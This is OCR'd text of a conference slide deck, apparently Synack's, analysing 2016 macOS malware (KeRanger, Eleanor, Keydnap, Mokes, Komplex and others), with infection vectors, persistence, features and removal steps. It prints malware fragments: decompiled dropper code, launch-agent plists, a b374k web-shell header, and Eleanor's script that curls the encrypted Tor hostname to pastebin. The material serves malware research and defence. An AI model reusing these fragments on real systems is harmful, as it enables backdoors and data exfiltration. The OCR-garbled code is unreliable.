Meet & Greet
with the Mac Malware Class of 2016
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“leverages the best combination of humans and technology ¢to
discover security vulnerabilities 1in our customers’ web apps,
mobile apps, IoT devices and infrastructure endpoints”
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macOS malware of 2016

!v objective-see.com/malware.html
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FOR EACH MALWARE; ANALYSIS

Ox1: infection mechanisms

“Adobe Flash Player" is out of date

To continue using "Adobe Flash Player”,
download an updated version.

fake popups

Adobe Photoshop CS6 for Mac OSX
M@ Uploaded 07-26 23:11, Size 988.02 MiB, ULed |

Parallels Desktop 9 Mac OSX
L1 A Uploaded 07-31 00:19, Size 418.43 MiB

how the real hackers
do 1t

pirated apps

infected websites

Pegasus Attack

) several iOS/macOS Odays




FOR EACH MALWARE; ANALYSIS

Ox2: persistence

[RSA 2015]
23 "Malware Persistence on 0OS X"

@ browser extensions & plugins

cXLensions

7 ~ — . ey
E /4 oo/ T | S )L
a L] 7 1 O\ N\ U - a L

General Tabs AutoFill Passwords Search Security Privacy Notifications Extensions Advance?\

. Montageobox 1.2

@ launch daemons & agents

<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>

<key>Label</key> @ user lOgln i1tems
<string>com.malware.persist.plist</string>

<key>ProgramArguments</key> —
<array> . Password F@]}M

<string>/path/to/malware.bin</string>

</array> These items will open automatically when you log in:

<key>RunAtLoad</key> ~ Hide | Item Kind
<true/> @ &) iTunesHelper Application

</dict> B ¥ macs Application
</plist>
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FOR EACH MALWARE; ANALYSIS

0x3: features/goals

shared features

S

4

vlo
ﬁ &
ﬁ downloads “'

surveys

i,

exec's

ransoim




FOR EACH MALWARE; ANALYSIS

Ox4: disinfection

. kill (unload) process 0S X Utilities

i

d l b = Restore From Time Machine Backup
e ete lnary You have a backup of your system that you want to restore
S  Reinstall 0S X
Reinstall a new copy of OS X.

Get Help Online

Browse the Apple Support website to find help for your Mac.

gl' | Disk Utility

Repair or erase a

. delete persistence

disk using Disk Utility.

clean re-install (recovery os)

/ - I B ———— i ———— e —

if infected; do a full 1
reinstall of the 0S (and |
change your passwords, etc.) i

N7 Synack



KERANGER
'first' ransomware on macOS

|2| KeRanger

U U
found on march 2016

|eée l found by paloalto networks

@, intect hacked developer's websit
\, infection acke eveloper's website
@ features encrypt flles for ransom :

—— e o — —— ——ee—— e ———— -

=

m disinfection reboot
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KERANGER

infection vector

_official app website; ha.cked!

= C [ httpd//www.transmissionbt.com

hack official website
(transmissionbt.com)

4 .
infect app (v2.90)
A\ +/Resources/General .rtf

-

TRANSMISSION

A Fast, Easy, and Free BitTorrent Client

MAIN ABOUT DOWNLOAD DEVELOPMENT ADD-ONS CONTENT N SUPPORT

Feature Spotlight:

« Uses fewer resources than other clients —
Transmission 2.90 « Native Mac, GTK+ and Qt GUI clients — o = =
« Daemon ideal for servers, embedded systems, and headless use — s l n l n f e c te d a
Download Now « All these can be remote controlled by Web and Terminal clients —
Release Notes « Local Peer Discovery
Previous Releases « Full encryption, DHT, uTP, PEX and Magnet Link support
Learn More...

——— -~ _ — e —— I = " - N e —EEE=S—_—_——_

a H

n Transmission is validly signed (3rd-party)

Transmission.app
/Users/patrickw/Malware/0SX/KeRanger/Transmission.app

item type: application

sign auth: > Developer ID Application: POLISAN BOYA SANAYI VE TICARET ANONIM SIRKETI (Z7276PX673) ‘
> Developer ID Certification Authority |

> Apple Root CA L

'validly' signed ~—



KERANGER

features / goal

$ cat /Volumes/Transmission/ //build path to source (General.rtf)

Transmission.app/Contents/Info.plist __sprintf chk(pathSrc, 0x0, 0x400, "%s/Resources/General.rtf", ...);

<?xml version="1.0" encoding="UTF-8"?> //build path to destination (kernel service)

__sprintf chk(pathDest, 0xO0, 0x400,_“%s/Library/kerneL_service", R I
<plist version="1.0">

<dict> //read in source file

rbx = fopen (pathSrc, "rb");
var 1448 = fread(rl2, Ox1l, rl3, rbx);
<key>CFBundleDevelopmentRegion</k#£y> fclose (rbx) ;

<string>en</string>

//write it out to destination
rl4d = fopen (pathDest, "wb+");

| [ fwrite(rl2, var 1448, 0Oxl, rl4);
| <string>Transmission</string> | fclose(rld) ; -

//set it to executable
chmod (pathDest, 0x40);

//launch it!
system (pathDest) ;

Transmission decompiled

N7 Synack



KERANGER

features / goal

o

Favicon.tiff FileRenameSheet FilterBar.nib fr.lproj Globe.tiff GreenDot.tiff
Controller.nib
H.....oco ! i:i
, oo e el iff #ib  InfoGeneral.tiff InfoOptions.tiff InfoPeers.tiff
s , / ma.ch-0 binary!
B patrick$ file Transmission.app/Contents/Resources/General.rtf
R General.rtf: Mach-0 64-bit executable x86_64
patrick$ hexdump -C Transmission.app/Contents/Resources/General.rtf
General.rtf 0000000 cf fa ed fe O7 00 00 01 ©O3 00 00O 80 02 00 0O 00
00000010 ©O5 00 00 00 78 02 00 OO0 OS5 0O 00 00 00 00 0O 00
| Lordment - 00000020 19 00 00 00 48 00 00 00 5f 5f 50 41 47 45 5a 45
00000030 52 4f 00 00 00 00 00 OO0 0O OO 00 00 00 00 0O 00
- o I I
Finder says: 'RTF

but i1t's not!

N7 Synack



KERANGER

features / goal

//encrypt /Users
patrick$ upx -d Resources/General.rtf recursive task("/Users", _encrypt entry, putReadme);

//encrypt /Volumes
Ultimate Packer for eXecutables recursive task("/Volumes", check ext encrypt, putReadme);

//build path to '.kernel complete'
sprintf chk (0x0, 0x0, 0x400, "%s/Library/.kernel complete"...);

File size Ratio Format

//write to '.kernel complete'
rbx = fopen(0x0, "w");
fwrite ("do not touch this\n", 0x12, 0xl, rbx);

304416 <- 139264 45 .75% Mach/AMD64 General.rtf

Unpacked 1 file.

General.rtf/ kernel service

o0 e READN: FOS DECEvDT L — Edited
Your computer has been locked and all your files has been encrypted with 2048-bit RSA encryption.

Instruction for decrypt:

1. Go to https://fTiwlfdkwysmddpwSl.onion.to ( IF NOT WORKING JUST DOWNLOAD TOR BROWSER AND OPEN

/UserS/* | THIS LINK: http://fiwfdkwysmddpwS1l.onion )

| 2. Use 1PGAUBQHNCWSHYKnpHQzCrPkyxNxvsmEoef as your ID for authentication

3. Pay 1 BTC (~407.47%) for decryption pack using bitcoins (wallet is your ID for authentication -

4. Download decrypt pack and run

I% /Volumes:

-==» ALSO at https://fiwfdkwysmddpwSl.onion.to you can decrypt 1 file for FREE to make sure
decryption is working.

decryption instructions

N7 Synack



KERANGER
disinfection

kernel service patrick$ cat /System/Library/CoreServices/CoreTypes.bundle/

Contents/Resources/XProtect.plist

<dict>
<key>Description</key>
~/lerarY/kernel % <str'ing>OSX.KeRe.mger'.A</str'ing>
— <key>LaunchServices</key>

<dict>
<key>LSItemContentType</key>
<string>com.apple.application-bundle</string>

</dict>

<key>Matches</key>

upgrade to carray>

version 2.93+ cdict> |
<key>MatchFile</key>

<dict>

<key>NSURLTypeldentifierKey</key>
" <string>public.unix-executable</string>

updated XProtect __</dict>
signatures

<ke9§Paftebn2/ké&>
<string>488DBDDOEFFFFFBEOO0O000OBA0004000031C04989D8*31F6 |
4C89E7*83F8FF7457C785C4EBFFFFO00000000< /string>

———— = —_— — — S -




ELEANOR

backdoor with audio/video capture capabilities

U U

found on J'llly 2016

|‘§£‘ | found by BitDefender
4 . . .
infection fake, trojaned application
X,
@ features (php) backdoor + audio/video capture

— S
m'l° disinfection remove launch agents

N7 Synack



ELEANOR

infection vector

FasyDoc Converter 12 smaraoe ’ a

Convert FreeOffice and SimpleStats docs to MS Office format.

EasyDoc Converter is a fast and simple file converter for OS X. Instantly convert your
FreeOffice (.fof) and SimpleStats (.sst) docs to Microsoft Office (.docx) by dropping
your file onto the app. EasyDoc Converter is great for employees and students looking
for a simple tool for quickly convert files to the popular Microsoft format. EasyDoc
Converter lets you get to work quickly by using a simple, clean, drag-and-drop

interface. The converted document will be saved in the same directory of the original ’

Drop files

EasyDoc h e re

'EasyDoc Convertor'
(macupdate.com)

N

[ .......... K
N7 Synack



ELEANOR

persistence

platypus

Name ~  Kind m
i Conterts e ) create macOS apps from scripts
Info.plist Property List
v MacOS Folder - -
B EasyDoc Converter Unix executable ) Sve l nb J O rn ° o rg /p 1 a typu s
v Resources Folder
= agent.php PHP ' '
@) applcon.icns Apple icon image ' . ' .
AppSettings.plist Property List mv $DIR/com.getdropbox.dropbox.usercontent.plist ~/Library/LaunchAgents/

Bl check_hostname Unix executable com.getdropbox.dropbox.usercontent.plist
com.getdropbox.dropbox.integritycheck orig.plist  Property List launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.usercontent.plist

com.getdropbox.dropbox.timegrabber_orig.plist Property List
com.getdropbox.dropbox.usercontent_orig.plist Property List
config TextEdit.app Document mv $DIR/com.getdropbox.dropbox.integritycheck.plist ~/Library/LaunchAgents/
=4 MainMenu.nib Document . . .
= public.key P I pp——— com.getdropbox.dropbox.integritycheck.plist
» [ rero Folder launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.integritycheck.plist

rules TextEdit.app Document

mv $DIR/com.getdropbox.dropbox.timegrabber.plist ~/Library/LaunchAgents/

W shell.php com.getdropbox.dropbox.timegrabber.plist
I—— launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.timegrabber.plist
app bundle e
launch agent installations
launch agent %binary

com.getdropbox.dropbox.integritycheck.plisté ~/Library/.dropbox/sync/conn

....................................................................................................................................................................................................................................................................................................................................................................................................................

com.getdropbox.dropbox.usercontent.plist é ~/Library/ .dropbox/dbd

N7 Synack



ELEANOR (sync/conn)

features/goals

|

cmd-line arguments
Task o --defaults-torrc ~/Library/.dropbox/sync/data/storage.old
Wy -f ~/Library/.dropbox/sync/data/storage

- conn
d /Users/user/Library/.dropbox/sync/conn

args: -—defaults-torrc /Users/user/Library/.dropbox/sync/data/storage.old -f /Users/user..
hash: ©OC3D62D6FC28D15B5C580A9617A8F4C5 / AC112FAB3F1CDB3FB8438418DCC1125C04D67A433
size: 4162888 bytes

—

~/Library/.dropbox/sync/conn

$ cat sync/storage

GeoIPFile /Users/user/Library/.dropbox/sync/data/list
$ cat sync/storage.old GeoIPv6File /Users/user/Library/.dropbox/sync/data/list6
## fteproxy configuration

ClientTransportPlugin fte exec PluggableTransports/fteproxy.bin --managed HiddenServiceDir /Users/user/Library/.dropbox/sync/hs

HiddenServicePort 80 127.0.0.1:9991

## obf fi ti . .
obTsproxy conriguration HiddenServicePort 22 127.0.0.1:9992

ClientTransportPlugin obfs2,o0bfs3,scramblesuit exec PluggableTransports/obfspro»

## flash proxy configuration SOCKSPort 9060
ClientTransportPlugin flashproxy exec PluggableTransports/flashproxy-client --rdl ControlPort 96061

sync/storage.old f sync/storage \Z Synack



ELEANOR (sync/check hostname)

features/goals

_ just a bash script

@ HOSTNAME=S (cat /Users/$USER/Library/.dropbox/sync/hs/
hostname | cut -d '.' -f 1 | openssl rsautl -encrypt -
pubin -inkey /Users/$USER/Library/.dropbox/public.key |
openssl enc -base64 | sed "s/\+/PLUS/g")

check hostname's type

@ PASTEID=S (curl -sd

"api paste code=SHOSTNAME&api option=paste&api dev key=d
: : 1e52e9d2452e1810279527aala83c8b&api paste private=lé&api

[@ encrypt tor name ('hostname') user key=df8a73a0813c422465564c913e760d87" "http://

e.g. 'xjdéuzkuyonxzrz2.onion' pastebin.com/api/api_post.php" | cut -d "/" -f 4)

check_hostname

@) post to pastebin
pastebin.com/api/api post.php

post host's 'tor name' to
pastebin.com \¥ Synack




FLEANOR (dbd)

features/goals

it's apple’s php!

BE com.getdropbox.dropbox.usercontent.plist ) No Selection
Key Type Value
¥ Root Dictionary (8 items)
StandardErrorPath String /dev/null
Nice Number 10
AbandonProcessGroup Boolean YES
Sta'nddutPat ] String /dev/null S
‘(/V“P?ogra?net . O Aray s (8items) - Y '
Item O Strin /Users/user/Library/.dropbox/dbd | R T —
| — | Authority=Software Signing
' ltem 1 String -S
| Item 2 String 127.0.0.1:9991 | Authority=Apple Code Signing Certification
Item 3 String -t | .
ltem 4 String /Users/user/Library/.dropbox AUthOf‘lty
ltem 5 String -c 5l Authority=Apple Root CA
ltem 6 String /Users/user/Library/.dropbox/config ]'
\ ltem 7 String /Users/user/Library/.dropbox/rules |
“RnAtesd . Blean 8 o

— ' code signing info
launch agent plist Bt

<?php
/*
b374k shell 3.2.3 / Jayalah Indonesiaku
https://github.com/b374k/b374k
*/
SGLOBALS['pass'] = "15bd408e435dclal509911cfd8c312f46ed54226"; -
$func="cr"."eat"."e fun"."cti"."on";$b374k=$func ('S ... gl thUb . Com/b3 7 4k

13f3'744](. 53}163].]. N7 Synack



FLEANOR (dbd)
features/goals

remote shell

utiites

exec exec

nc wacCaw

other tools

interpretor (python, etc)

N7 Synack



ELEANOR

disinfection

dbd

G conn

che ck_ho stname

Drop files
here

@
~/Library/LaunchAgents/

) com.getdropbox.dropbox. timegrabber.plist
) com.getdropbox.dropbox.usercontent.plist
) com.getdropbox.dropbox.i1ntegritycheck.plist

~/Library/ .dropbox

Iip%=

N7 Synack



KEYDNAP
backdoor & keychain stealer

:? Keydnap

U U
found on J'llly 2016
|-}§£— l found by ESET

o a) unknown (spam/websites?)
X b) hacked developer's website

@ features backdoor + keychain stealer

— S
m'|° disinfection remove launch agents

N7 Synack



KEYDNAP

infection vector (method 0x1)

still not clear how itil T
exposed to 0OSX/Keydnap. It could be through l
attachments in spam messages, downloads from k

1fC
=5 screenshot.jpg
ZIP
ot binary!
screenshot.zip screensnot.)Jpg VGenaI: Y 4 V
zip archive T Nemeaextensin: ety space

file information

N7 Synack



KEYDNAP

infection vector (method 0x2)

SS b=

A

TRANSMISSION !

A Fast, Easy, and Free BitTorrent Client

IN ABOUT DOWNLOAD DEVELOPMENT ADD-ONS CONTENT \, SUPPORT

Feature Spotlight:

« Uses fewer resources than other clients

Transmission 2.90 « Native Mac, GTK+ and Qt GUI clients
« Daemon ideal for servers, embedded systems, and headless use
Download Now « All these can be remote controlled by Web and Terminal clients
Release Notes « Local Peer Discovery
Previous Releases « Full encryption, DHT, uTP, PEX and Magnet Link support
Learn More...

Transmission.app
/Users/patrick/malware/0SX/keydnap/Transmission.app

G Transmission is validly signed (Apple Dev-ID)

item type: application

sign auth: > Developer ID Application: Shaderkin Igor (836QJ8VMCQ)
> Developer ID Certification Authority
> Apple Root CA

'validly' signed

¢/

L 44
\, infect app (v2.92)

N | . -
_official app website,; hacked, again

(transmissionbt.com)

ﬁr hack official website

+/Resources/License.rtf

2 I_Eﬁl sign (infected) app



KEYDNAP

persistence

//build path to backdoor's launch agent
sprintf (var 430, "%s/Library/LaunchAgents/%s.plist", getenv("HOME"), "com.apple.iCloud.sync.daemon") ;

//build path to tor proxy launch agent
sprintf (var C30, "%s/Library/LaunchAgents/com.geticloud.icloud.photo.plist", getenv ("HOME")) ;

two launch

agents License.rtf

KnockKnock

Start Scan
- /L1IDIdTY/ARPpPLLLALLIOIT SUppPuOTr L/0rFu100 LS/7uuLu=pdaLiiict P& - g =
/Library/LaunchAgents/org.gpgtools.gpgmail.patch-uuid-user.plist To o aIEinTo oy

la Launch Items

(8]

‘s fixGpgHome
/usr/local/MacGPG2/libexec/fixGpgHome 9/5 @

/Library/LaunchAgents/org.gpgtools.macgpg2. fix.plist Giristerat Ante Shei

com.apple.iCloud.sync.daemon sy msers :

dylibs inserted via *DYLD_INSERT_LIBRARIES

®
~

‘> shutdown—-gpg—-agent @

/usr/local/MacGPG2/1libexec/shutdown—-gpg—agent /5
/Library/LaunchAgents/org.gpgtools.macgpg2.shutdown-gpg-agent.plist ViTictoalinTo S how

5

(8]

/Library/LaunchAgents/org.gpgtools.updater.plist Viristoral info e

& UpdaterStartupUtility
/Library/Application Support/Adobe/00BE/PDApp/UWA/UpdaterStartupUtility 0/56 @
i -om.adobe.AAM.Updater-1.0.plist _ . 7 Tt

[«)]

‘Users/patri bra aunchAgen

& icloudsyncd
/Users/patrick/Library/Application Support/com.apple.iCloud.sync.daemon/icloudsyncd ? @ @ |
/Users/patrick/Library/LaunchAgents/com.apple.iCloud.sync.daemon.plist GiFiSEeTal ARfo show

%)
Spotlight Importers ‘

bundles loaded by Spotlight (mdworker)

& icloudproc
/Users/patrick/Library/Application Support/com.geticloud/icloudproc ? @ @ |
/Users/patrick/Library/LaunchAgents/com.geticloud.icloud.photo.plist ViruetotalinTo <o B

— — = = — — — — —— P — _ =

@ scan complete
T —————— —ﬂ
\Z Synack

7\ A GPGSuite_Updater
/Library/Application Support/GPGTools/GPGSuite_Updater.app/Contents/Mac0S/GPGSuite_Updater 0/5 @ 1O%

Cdmsadessne O mpnmnade

- L - \ 0 p

L. Periodic Scripts (

’0. scripts that are executed periodica’ I
<~




KEYDNAP
persistence

$ cat ~/Library/LaunchAgents/com.apple.iCloud.sync.daemon.plist $ cat ~/Library/LaunchAgents/com.geticloud.icloud.photo.plist
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"> <plist version="1.0">
<dict> <dict>
<key>RunAtLoad</key> <key>RunAtLoad</key>
<true/> <true/>
<key>ProgramArguments</key> <key>ProgramArguments</key>

<arra¥> * | ‘ 7 | }
'<str1ng>/Users/user/L1brary/App11cat10n Support/ A

@com apple. iCloud.sync. daemon/1c10udsyncd</str1ng>3
</array> N I </array>
<key>Label</key> <key>Label</key>
<string>com.apple.iCloud.sync.daemon</string> <string>com.geticloud.icloud.photo</string>
</dict> </dict>
</plist> </plist>

com.apple.iCloud.sync.daemon / icloudsyncd com.geticloud.icloud.photo / icloudproc

launch agent

com.apple.i1Cloud. sync.daemon é icloudsyncd

com.geticloud.icloud.photo é 1cloudproc




KEYDNAP (icloudsyncd)

features / goals

//exec downloaded file juuso / keychaindump
sprintf (var 430, "/tmp/%s", rbx);

sprintf (var_ 830, "python %s", wvar_ 430); <> Code Issues 9 Pull requests 0 Projects 0 Pulse
chmod (var 430, 0x1cO0);

system(var_830) ; A proof-of-concept tool for reading OS X keychain passwords

Py thOn dOWIl l Oad/ exe C gjuuso Add link to blog
E) README.md Add link to blog
E) keychaindump.c Initial version
7N\ icloudsyncd wants to make changes. Type your
: | . password to allow this.
- . - ' - '
Username: Mac User keych alin ste al i ng
Password: |
Cancel

privilege escalation @
‘ "new OSX/Keydnap malware is
hun for credentials"
® X @, e

survey download execute

N7 Synack



KEYDNAP (icloudproc)

features / goals

C & C servers
$ strings -a icloudproc | grep -i tor J’fﬁw
ror V3 hr | @ gSwcesdfjzne7255.0onion. to

Tor is already running as %s.
Tor successfully forwarded TCP port '%s' to '%s'%s.
v%s %srunning on %s with Libevent %s, OpenSSL %s and Zlib %s.

@ r2elajikcosf/zee.onion. to
icloudproc, strings

— E— — — ——  —

"Keydnap 1s using the onion. to TorZWeb proxy over |
HTTPS to report back to i1its C&C server." -eset

//config

lea rdx, gword [0x10000bbe7];
mov esi, 0x2714

XOor eax, eax

mov rdi, rbx

call curl easy setopt

icloudsyncd -> icloudproc



KEYDNAP

disinfection
wise words!
1cloudproc /
License.rtf G Thomas Reed o
1cloudsyncd ver 2. 93+ SO, If you're using Transmission, time to stop...

second time In 6 months they've been hacked to
distribute malware!

=

B /Library/Application Support/com.apple.iCloud.sync.daemon/
/Library/LaunchAgents/com. apple.iCloud. sync.daemon.plist

o

~/Library/LaunchAgents/com.apple.iCloud. sync.daemon.plist
~/Library/LaunchAgents/com.geticloud. icloud.photo.plist

~/Library/Application Support/com.apple.iCloud.sync.daemon/
~/Library/Application Support/com.geticloud/

N7 Synack



FAKEFILEOPENER
adware, with a persistence twist

FakeFileOpener

’ U
found on august 2016

r% found by MalwareBytes

4 .

infection fake 'security' popup
\?

@ features adware i1nstaller

— S
m'|° disinfection remove application

N7 Synack



FAKEFILEOPENER

infection vector

LA T e ——— + . ' ' '
e — - ¢ 'omg! you

™ are hack,ed '
AR

Install Security Update
Now

AdvancedMacCleaner.com Mac File Opener.app

fake 'security alert'

N7 Synack



FAKEFILEOPENER

persistence

= E— pr— — . T~ = —— - — = = = ——

"[the] app didn’t have any apparent mechanism for \
being launched. It hadn’t been added to my login 1
i1tems. There wasn’t a new launch agent or daemon
designed to load it." -malwarebytes (t. reed) ]

&R Info.plist , iNo Seiection
Key Type Value r egl S ter S 2 3 2 docment
v Information Property List Dictionary (23 items)
BuildMachineOSBuild £ String 14F27 handlers
Localization native development re... £ String en
f‘/ v Document types - s O® Array (232 items)
| v Item O (DocumentType) Dictionary (6 items) | a:E
I v CFBundleTypeExtensions { Array (1 item) |
ltem O String 72 7 a5 There is no application set to open the document “file.7z".
Document Type Name A String DocumentType } l Sea(ch t-he Web for an application that can open this document, or choose an existing
v | | application on your computer.
V¥ Document OS Types Array (1 item)
ltem O String 2227 ? Choose Application Cancel Search Web
Role £ String Viewer
Handler rank £ String Alternate -
Cocoa NSDocument Class C String Document m.a.lware aUtomatl Cal ly
» Item 1 (DocumentType) Dictionary (6 items) executed

» Item 2 (DocumentType) Dictionary (6 items)

N

N7 Synack



FAKEFILEOPENER

features/goals

void -[AppDelegate searchWeb:]

var 80 = [[@"Adva" stringByAppendingString:@"nced Ma"] stringByAppendingString:@"c Cleaner"];
var 88 = [[@"Mac A" stringByAppendingString:@"dware C"] stringByAppendingString:@"leaner"];
var 90 = [[@"Mac Sp" stringByAppendingString:@"ace Re"] stringByAppendingString:@"viver"];
var 98 = [[@"Disk R" stringByAppendingString:@"evi"] stringByAppendingString:@"ver"];

var A0 = [[@"Disk Cl" stringByAppendingString:@"eanu"] stringByAppendingString:@"p Pro"];

[[NSWorkspace sharedWorkspace] openURL: [NSURL URLWithString: [NSString stringWithFormat:@"http://macfileopener.com/
ext/%@/?amc=%@&madc=%@&msr=%@&drv=%Q&dcp=%Q@", [var 30 extension], var 58, var 60, var 68, var 70, var 78]1];

Hecommended Download

Is your Mac Infected?

The error “There is no application set to open the document.” might even occur
due to malicious apps tampering your Mac.

There is no application set to open the document “file.7z".

Search the Web for an application that can open this document, or choose an existing g

application on your Computer. We recommend that you run a free scan to check for potential malware threats,

=

? Choose Application Cancel

www.macfileopener.org
+ params

malware (not apple/os)

" these pages WJ.ll download other junk PCVARK apps
such as Mac Adware Remover or Mac Space Reviver."

-malwarebytes (t. reed)




FAKEFILEOPENER
disinfection

# fs _usage -w -f filesystem | grep csstore

rename com.apple.LaunchServices-134501.csstore~ 1sd.31116
open com.apple.LaunchServices-134501.csstore 1sd.31116
WrData[AT2] com.apple.LaunchServices-134501.csstore 1sd.31116

OS unregistering document handlers

$ /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/
Support/lsregister -dump | grep "Mac File Opener" | wc

%) %) %

all gone :)

=

check in /Applications for:

m‘Q » Advanced Mac Cleaner )» Disk Cleanup Pro » Mac Space Reviver
) Disk Reviver ) Mac Adware Cleaner
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MOKES

adware, with a persistence twist

U U

found on september 2016

r% found by Kaspersky
infecti nknown
\Q infection u
@ features 'f'lllly featured' backdoor

— S
m'l° disinfection remove launch agents
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MOKES

infection vector

"...we can only speculate how this malware makes it to thew
victim machine. All vectors are possible: exploits, l
installation via another previously installed malware and ]

of course via social engineering." -kaspersky '

exploits? o

social-engineering?

/.deo hosting server based on po\

® 00

<> | (O] (2] [8 ]| A6 www.warchfreeinhd.com/welysitzbu

To help protect your computer, Apple Web Security

A
‘ ! : have detected Trojans and ready to remove them.

*‘ HD video codec is missing: | Install HD video codec... |

I ree l I HEr Spyware is a type of malware that can be installed - \
upload your video on computers, and which coliects small pieces of
dot com information about users without their knowledge. (__Cancel ) (Rem all)
S — —_ N7 Synack




MOKES

persistence

EkomsAutorun: :service (void) : : launchdContextTemplate , .
db '<?xml version="1.0" encoding="UTF-8"?>',b0Ah b\nar\,~ storeuserd
db '<plist version="1.0">',60OAh e

db '<dict>',0Ah /

db 9, '<key>Label</key>',6 OAh KnockKnock
db 9, '<string>% 1</str1ng>' OAh @

db 9,'<key>ProgramArguments</key>', Sl

db 9, '<array>', OAh

db 9,9, '<string>%2</string>',0Ah gf Cotnchiitens I 7 oeery ropticarion sxppertrers Tosta/vemers-tootls-desesn
db

db

db

- ©
©

/Library/LaunchDaemons/com.vmware. launchd.tools.plist virustotal

0 a .
. UpdaterStartupUtility
m lerary Inserts /Library/Application Support/Adobe/0O0BE/PDApp/UWA/UpdaterStartupUtility

: ©
©

lylibs inserted via *DYL : :
dyl1b nserted via *DYLD_INSERT_LIBRARIES /Library/LaunchAgents/com.adobe.AAM.Updater-1.0.plist virustotal

db 9, '<key>KeepAl:|.ve</ key>', 0Ah i e 0 8 vmware-tools-daenon
v v /L;brafy/AppLicatior‘ Support/VMware Tools/vmware-tools—daemon A
d.b 9 4 <true/> J/ OAh /Library/LaunchAgents/com.vmware. launchd.vmware-tools—userd.plist virustotal
db '</dict>',0Ah
db '</plist>',0Ah,O0

items started when the user logs in

- ©
©

' - storeuserd
/Users/user/Library/App Store/storeuserd
/Users/user/Library/LaunchAgents/storeuserd.plist

Login/Logout Hooks

items executed upon login or logout

: ©
©

virustotal

Periodic Scripts

scripts that are executed periodically

Spotlight Importers

bundles loaded by Spotlight (mdworker)

Chmmbdisn Camesmdan

83 O () & ¢

@ scan complete

*
»:o; launch agent
79

~/Library/LaunchAgents/storeuserd.plist .
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MOKES

features/goals

—— == _ _ — - p— s ————— — e _ — — — _ — — ———  ————W

"This malware...1s able to steal various types of data 1
from the victim’s machine (Screenshots, Audio-/Video-
, Captures, Office—Documents,‘Keystrokes)" -kaspersky ]

search for @
office docsh\ screen

execute

0000001C unicode :/file-search capture

_— OOOOOOOE unicode *.xlsx
0000000C unicode *.xls
O0OOOOOOE unicode *.docx

KP 0000000C unicode *.doc

monitor for
removable media
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MOKES

disinfection

@ storeuserd

~/Library/App Store/storeuserd

m|6 Bl ~/Library/LaunchAgents/storeuserd.plist

— e — p— —— = - i — == E—— —— . — —

- malware may also i1nstall itself to:

\
~/Library/com.apple.spotlight/SpotlightHelper |
~/Library/Dock/com. apple.dock.cache |
~/Library/Skype/SkypeHelper J

(

~/Library/Dropbox/DropboxCache
~/Library/Google/Chrome/nacld
~/lerary/Flrefox/Proflles/proflled




KOMPLEX
backdoor, associated with .ru (APT28)

’ U
found on september 2016

r% found by paloalto networks
A .
infection emalls
(4
@ features basic backdoor

el
m'|° disinfection remove launch agent
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KOMPLEX

infection vector

roskosmos _2015-2025.pdf

roskosmos 2015-2025.app

int main(int arg0, int argl) {

var 38 = [NSSearchPathForDirectoriesInDomains (0Oxf, Oxl, Oxl) objectAtIndex:0x0];
var:48 = [NSString stringWithFormat:@"SetFile -a E %@/roskosmos 2015-2025.pdf", var 38];
4§ var 50 = [NSString stringWithFormat:@"rm -rf %$Q@/roskosmos 2015-2025.app", var 38];
| var 58 = [NSString stringWithFormat:Q"open -a Preview.app %@/roskosmos 2015-2025.pdf", var 38];
,\ " ( . - -
@l system([var_50 UTF8String]); | "The person who receives the email may think
system([var 48 UTF8String]) ; . . .
system([var_58 UTF8String]); they are opening a PDF file with future plans

' for the Russian aerospace program, but in fact, |
it is a Trojan that will install files on the ]
| system" -intego
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KOMPLEX

persistence

‘4

*
lo ‘ launch agent (~/Library/LaunchAgents)
70y

plist

$ cat ~/Library/LaunchAgents/com.apple.updates.plist
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.updates</string>

<key>ProgramArguments</key>

<array>
<string>/Users/Shared/.local/kextd</string>

</array>

<key>RunAtLoad</key>

<true/>

) com. apple.updates.plist

binary
» kextd

@ Knock

8 vmware-tools—-daemon
/Library/Application Support/VMware Tools/vmware-tools—daemon e <:) <:>

brary/LaunchDaemons/com.vmware. lLaunchd.tools.plist rustotal £q

8 UpdaterStartupUtility
/Library/Application Support/Adobe/0O0BE/PDApp/UWA/UpdaterStartupl.. e (:) <:>
/Library/LaunchAgents/com.adobe.A vdater-1.0.plist virustotal infc sho

P Launch Items
% 4

0

LD_INSERT_LIBRARIES

. & vmware-tools-daemon

) /Library/Application Support/VMware Tools/vmware-tools—daemon e (:) :::
Logs N

-0gs X /Library/LaunchAgents/com.vmware. launchd.vmware-tools—userd.plist nfe < how

J/ Login/Logout Hooks | [
items executed upon login or logout ! ;4;;”;f15;r;_;:;;iy;;ggﬂé“A;QﬁTifrm’ e T T I ‘
_ N ]
L — N —

m Library Inserts
dylibs inserted via *DY

=) fogin Ttems ..
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KOMPLEX

features/goals

*code overlap w/ os x backdoor (2015)

$ nm Komplex | c++filt -p -i | grep File
0000000100001e60 T FileExplorer::executeFile(char const*, unsigned long)
0000000100001b90 T FileExplorer::getFileName()

0000000100001b70 T FileExplorer::setFileName(char¥*)
0000000100001bdoO T FileExplorer::executeShellCommand()

'File Explorer' methods

int FileExplorer: : :executeFile(int * arg0, long argl) {

sprintf (var 28, "%s%s%s", "mkdir -p ", *(var 58 + 0x18), " &> /dev/null") ;
system(var 28);

sprintf(var 40, "chmod 755 $s/%s &> /dev/null", *(var 58 + 0x18), FileExplorer::getFileName())
system(var 40);

var 48 = [[NSTask alloc] init];
[var 48 setLaunchPath:var 38];
[var 48 launch];

executeFile () decompilation

N7 Synack



KOMPLEX

disinfection

@ kextd
(/Users/Shared/ . local/kextd)

=

[l

Bl /Users/Shared/.local/kextd

B ~/Library/LaunchAgents/com.apple.updates.plist

$ launchctl unload ~/Library/LaunchAgents/com.apple.updates.plist

$ rm ~/Library/LaunchAgents/com.apple.updates.plist

$ rm /Users/Shared/.local/kextd

Komplex cleanup

N7 Synack



generic detections?




Traditional Anti-Virus

has (well-known) limitations

- (still) only 3 detections

> total

SHA256: Sbbb78bc80830c60388c494d961bbe7036d90d8c161120c7aa7ccb2d8e9cc361 A

@0 &0

File name: License.rtf

Detection ratio: 3/54

keydnap (7/2016)

known limitations:
Bl only detects known samples
Bl trivial to bypass

3
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MALWARE PERSISTS

....enumerate/monitor all persistent software

KnockKnock (Ul)

Start Scan

